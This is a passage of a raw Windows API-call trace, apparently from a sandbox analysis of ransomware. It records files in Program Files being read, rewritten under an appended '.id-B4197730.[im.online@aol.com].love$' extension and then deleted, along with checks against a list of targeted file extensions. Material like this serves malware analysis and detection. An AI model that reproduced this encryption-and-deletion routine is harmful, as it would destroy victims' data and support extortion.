0xffffffff [0107.867] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.867] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.867] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.867] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0107.868] GetLastError () returned 0x0 [0107.868] ReadFile (in: hFile=0x368, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x99, lpOverlapped=0x0) returned 1 [0107.869] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xa0, lpOverlapped=0x0) returned 1 [0107.870] ReadFile (in: hFile=0x368, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.870] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x106, lpOverlapped=0x0) returned 1 [0107.870] SetEndOfFile (hFile=0x354) returned 1 [0107.871] CloseHandle (hObject=0x354) returned 1 [0107.872] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.872] SetEndOfFile (hFile=0x368) returned 1 [0107.873] CloseHandle (hObject=0x368) returned 1 [0107.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0107.873] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.874] lstrlenW (lpString=".doc") returned 4 [0107.874] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.874] lstrlenW (lpString=".docx") returned 5 [0107.874] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0107.874] lstrlenW (lpString=".pdf") returned 4 [0107.874] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.874] lstrlenW (lpString=".xls") returned 4 [0107.874] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.874] lstrlenW (lpString=".xlsx") returned 5 [0107.874] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0107.874] lstrlenW (lpString=".ppt") returned 4 [0107.874] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.874] lstrlenW (lpString=".zip") returned 4 [0107.874] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.874] lstrlenW (lpString=".rar") returned 4 [0107.874] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.874] lstrlenW (lpString=".bz2") returned 4 [0107.874] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.874] lstrlenW (lpString=".7z") returned 3 [0107.874] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.874] lstrlenW (lpString=".dbf") returned 4 [0107.874] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.874] lstrlenW (lpString=".1cd") returned 4 [0107.875] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.875] lstrlenW (lpString=".jpg") returned 4 [0107.875] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.875] lstrlenW (lpString=".doc") returned 4 [0107.875] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.875] lstrlenW (lpString=".docx") returned 5 [0107.875] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0107.875] lstrlenW (lpString=".pdf") returned 4 [0107.875] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.875] lstrlenW (lpString=".xls") returned 4 [0107.875] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.875] lstrlenW (lpString=".xlsx") returned 5 [0107.875] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0107.875] lstrlenW (lpString=".ppt") returned 4 [0107.875] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.875] lstrlenW (lpString=".zip") returned 4 [0107.875] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.875] lstrlenW (lpString=".rar") returned 4 [0107.875] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.875] lstrlenW (lpString=".bz2") returned 4 [0107.875] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.875] lstrlenW (lpString=".7z") returned 3 [0107.875] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.876] lstrlenW (lpString=".dbf") returned 4 [0107.876] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.876] lstrlenW (lpString=".1cd") returned 4 [0107.876] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0107.876] lstrlenW (lpString=".jpg") returned 4 [0107.876] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.876] lstrcmpiW (lpString1=".gif", lpString2=".love$") returned -1 [0107.876] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23 [0107.876] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0108.488] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=147) returned 1 [0108.488] CloseHandle (hObject=0x2d8) returned 1 [0108.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0108.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.599] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0108.599] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.600] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.600] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0108.600] GetLastError () returned 0x0 [0108.600] ReadFile (in: hFile=0x374, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x93, lpOverlapped=0x0) returned 1 [0108.601] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xa0, lpOverlapped=0x0) returned 1 [0108.602] ReadFile (in: hFile=0x374, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0108.602] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x102, lpOverlapped=0x0) returned 1 [0108.602] SetEndOfFile (hFile=0x354) returned 1 [0108.602] CloseHandle (hObject=0x354) returned 1 [0108.608] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.608] SetEndOfFile (hFile=0x374) returned 1 [0108.609] CloseHandle (hObject=0x374) returned 1 [0108.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0108.609] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0108.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.610] lstrlenW (lpString=".doc") returned 4 [0108.610] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0108.610] lstrlenW (lpString=".docx") returned 5 [0108.610] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0108.610] lstrlenW (lpString=".pdf") returned 4 [0108.610] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0108.610] lstrlenW (lpString=".xls") returned 4 [0108.610] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0108.610] lstrlenW (lpString=".xlsx") returned 5 [0108.610] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0108.610] lstrlenW (lpString=".ppt") returned 4 [0108.610] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0108.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.610] lstrlenW (lpString=".zip") returned 4 [0108.610] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0108.610] lstrlenW (lpString=".rar") returned 4 [0108.610] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0108.610] lstrlenW (lpString=".bz2") returned 4 [0108.610] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0108.610] lstrlenW (lpString=".7z") returned 3 [0108.610] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0108.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.610] lstrlenW (lpString=".dbf") returned 4 [0108.611] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0108.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.611] lstrlenW (lpString=".1cd") returned 4 [0108.611] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0108.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.611] lstrlenW (lpString=".jpg") returned 4 [0108.611] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0108.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.611] lstrlenW (lpString=".doc") returned 4 [0108.611] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0108.611] lstrlenW (lpString=".docx") returned 5 [0108.611] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0108.611] lstrlenW (lpString=".pdf") returned 4 [0108.611] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0108.611] lstrlenW (lpString=".xls") returned 4 [0108.611] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0108.611] lstrlenW (lpString=".xlsx") returned 5 [0108.611] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0108.611] lstrlenW (lpString=".ppt") returned 4 [0108.611] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0108.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.611] lstrlenW (lpString=".zip") returned 4 [0108.611] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0108.611] lstrlenW (lpString=".rar") returned 4 [0108.611] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0108.611] lstrlenW (lpString=".bz2") returned 4 [0108.611] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0108.611] lstrlenW (lpString=".7z") returned 3 [0108.611] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0108.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.612] lstrlenW (lpString=".dbf") returned 4 [0108.612] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0108.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.612] lstrlenW (lpString=".1cd") returned 4 [0108.612] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0108.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0108.612] lstrlenW (lpString=".jpg") returned 4 [0108.612] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0108.613] lstrcmpiW (lpString1=".txt", lpString2=".love$") returned 1 [0108.613] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0108.613] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0108.613] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=145180) returned 1 [0108.613] CloseHandle (hObject=0x374) returned 1 [0108.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0108.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.614] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0108.614] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.614] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.614] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0108.614] GetLastError () returned 0x0 [0108.614] ReadFile (in: hFile=0x374, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x2371c, lpOverlapped=0x0) returned 1 [0108.639] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x23720, lpOverlapped=0x0) returned 1 [0108.643] ReadFile (in: hFile=0x374, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0108.643] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x10a, lpOverlapped=0x0) returned 1 [0108.643] SetEndOfFile (hFile=0x354) returned 1 [0108.644] CloseHandle (hObject=0x354) returned 1 [0108.648] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.648] SetEndOfFile (hFile=0x374) returned 1 [0108.650] CloseHandle (hObject=0x374) returned 1 [0108.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0108.651] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0108.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.651] lstrlenW (lpString=".doc") returned 4 [0108.651] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0108.651] lstrlenW (lpString=".docx") returned 5 [0108.651] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0108.651] lstrlenW (lpString=".pdf") returned 4 [0108.651] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0108.652] lstrlenW (lpString=".xls") returned 4 [0108.652] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0108.652] lstrlenW (lpString=".xlsx") returned 5 [0108.652] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0108.652] lstrlenW (lpString=".ppt") returned 4 [0108.652] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0108.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.652] lstrlenW (lpString=".zip") returned 4 [0108.652] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0108.652] lstrlenW (lpString=".rar") returned 4 [0108.652] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0108.652] lstrlenW (lpString=".bz2") returned 4 [0108.652] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0108.652] lstrlenW (lpString=".7z") returned 3 [0108.652] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0108.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.652] lstrlenW (lpString=".dbf") returned 4 [0108.652] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0108.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.652] lstrlenW (lpString=".1cd") returned 4 [0108.652] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0108.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.652] lstrlenW (lpString=".jpg") returned 4 [0108.652] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0108.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.652] lstrlenW (lpString=".doc") returned 4 [0108.652] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0108.652] lstrlenW (lpString=".docx") returned 5 [0108.653] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0108.653] lstrlenW (lpString=".pdf") returned 4 [0108.653] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0108.653] lstrlenW (lpString=".xls") returned 4 [0108.653] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0108.653] lstrlenW (lpString=".xlsx") returned 5 [0108.653] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0108.653] lstrlenW (lpString=".ppt") returned 4 [0108.653] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0108.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.653] lstrlenW (lpString=".zip") returned 4 [0108.653] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0108.653] lstrlenW (lpString=".rar") returned 4 [0108.653] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0108.653] lstrlenW (lpString=".bz2") returned 4 [0108.653] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0108.653] lstrlenW (lpString=".7z") returned 3 [0108.653] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0108.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.653] lstrlenW (lpString=".dbf") returned 4 [0108.653] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0108.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.653] lstrlenW (lpString=".1cd") returned 4 [0108.653] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0108.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0108.653] lstrlenW (lpString=".jpg") returned 4 [0108.653] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0108.654] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0108.654] lstrlenW (lpString="AppXManifest.xml") returned 16 [0108.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0108.654] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5944055) returned 1 [0108.654] CloseHandle (hObject=0x374) returned 1 [0108.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0108.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[im.online@aol.com].love$")) returned 1 [0108.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 